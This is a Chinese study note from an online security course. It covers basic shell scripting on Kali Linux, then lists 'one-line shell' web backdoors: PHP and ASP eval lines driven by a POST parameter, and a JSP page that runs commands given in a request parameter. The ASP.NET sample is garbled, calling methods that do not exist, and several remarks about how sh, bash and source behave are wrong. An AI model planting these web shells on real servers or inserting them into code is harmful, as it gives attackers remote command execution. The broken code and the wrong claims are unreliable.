shell基础(一)
声明:该笔记为up主 泷羽的课程笔记,本节链接指路。
警告:本教程仅作学习用途,若有用于非法行为的,概不负责。
一、shell脚本创建和执行
主机:kali
命令 | 操作 |
---|---|
vim shell.sh | 创建shell.sh的方法 |
ls -l shell.sh | 用于查看文件权限 |
chmod 777 shell.sh | 赋予最高权限 |
./shell.sh | 就可以运行了 |
sh shell.sh | 没有权限执行 |
bash shell.sh | 脚本解释器,没有权限也会赋予权限执行 |
source shell.sh | 同上,但是输出的结果颜色更好看 |
name="xxx" 定义name变量,输出blankspace
echo $name
age="20"
echo my name is $name and my age is $age years old
可以发现他并没有把变量赋值打印出来,而是直接把变量写进来了,区别就是不加或者双引号可以输出变量,但是加入单引号他会把变量当字符串输出出来
查看变量
set | grep name 查看name变量
unset name 删除name变量
一句话shell
<?php @eval($_POST['pass']);?> PHP 语言
<%eval request("pass")%> ASP 语言
ASP.NET语言
以C#语法示例:
<%@ Page Language="C#" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e)
{
if (Request.Form["pass"]!= null)
{
System.Web.UI.WebControls.TextBox1.Text = (string)Microsoft.CSharp.RuntimeBinder.RuntimeBinderException.ExecuteStatement(Request.Form["pass"].ToString());
}
}
</script>
JSP语言
<%
if("pass".equals(request.getParameter("pass"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[1024];
out.print("<pre>");
while((a = in.read(b))!=-1){
out.print(new String(b,0,a));
}
out.print("</pre>");
}
%>